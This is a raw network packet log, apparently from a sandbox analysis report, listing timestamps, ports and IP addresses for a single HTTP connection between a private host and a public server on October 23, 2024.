Oct 23, 2024 15:48:20.003312111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003366947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003392935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003427982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003456116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003460884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003494978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003528118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003554106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003561020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003595114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003628969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003658056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003658056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003659964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003695011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003724098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003727913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003763914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003794909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003794909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003830910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003864050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003865957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003897905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003936052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003946066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004028082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004060030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004061937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004095078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004127979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004127979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004127979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004154921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004163027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004198074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004215956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004245996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004245996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004247904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004281998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004281998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004318953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004348993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004349947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004352093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004383087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004385948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004420042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004443884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004443884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004452944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004488945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004520893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004550934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004550934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004554987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004587889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004617929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004622936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004656076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004690886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004703045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004723072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004754066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.004756927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.004914045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.039720058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039736032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039755106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039767981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039779902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039824009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039834976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039845943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039856911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.039856911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.039872885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039885998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039894104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039901018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039910078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.039958954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039977074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039988995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.039999962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040019035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040030003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040047884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040047884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040047884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040047884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040059090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040071011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040071964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040085077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040096998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040096998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040132999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040134907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040148020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040160894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040180922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040185928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040196896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040196896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040239096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040251017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040261984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040261984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040304899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040327072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040338993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040358067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040369987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040383101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040385008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040385008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040400982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040412903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040419102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040426970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040486097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040572882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040585041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040594101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040596008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040617943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040630102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040642023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040659904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040664911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040664911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040673018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040683031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040695906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040709019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040718079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040718079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040726900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040739059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040750027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040751934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040762901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040776968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040790081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040803909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040803909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040843964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040851116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040851116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040855885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040874004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040887117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040898085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040920973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040925026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040925026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040935040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040956974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040967941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040980101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040992022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.040993929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.040993929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041007042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041018009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041026115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041044950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041058064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041068077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041069031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041069031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041099072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041110992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041122913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041126966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041126966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041136026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041196108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041199923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041199923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041214943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041228056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041239977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041253090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041271925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041271925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041291952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041311026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041311026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041316986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041332006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041357040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041357040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041376114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041389942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041400909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041425943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041425943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041501045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041564941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041610003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041623116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041636944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041671991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041683912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041690111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041690111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041702986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041714907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041727066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041728973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041728973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041739941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041753054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041789055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041850090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.041928053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041969061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041980982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.041995049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042031050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042042971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042052031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042052984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042064905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042083025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042093992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042105913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042118073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042129040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042131901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042131901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042165041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042398930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042721987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042733908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042743921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042771101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042783022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042790890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042795897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042810917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042820930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042907953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042920113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042934895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042948008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042959929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042964935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042964935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042973995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.042979002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.042988062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043000937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043013096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043031931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.043041945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043054104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043065071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043067932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.043076992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043091059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043100119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.043118954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.043118954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.043195009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115343094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115422964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115454912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115458965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115499020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115528107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115528107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115535975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115571976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115602016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115607023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115636110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115642071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115678072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115701914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115701914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115725994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115781069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115806103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115830898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115864992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115919113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.115943909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.115952969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116002083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116025925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116034985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116085052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116106987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116117954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116151094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116189957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116204023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116239071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116240025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116271973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116323948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116323948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116373062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116378069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116405964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116456032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116485119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116485119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116491079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116527081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116539001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116559982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116592884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116617918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116617918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116643906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116672993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116694927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116718054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116728067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116776943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116805077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116810083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116858006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.116861105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116913080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116945028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.116967916 CEST	49730	80	192.168.2.4	185.215.113.37
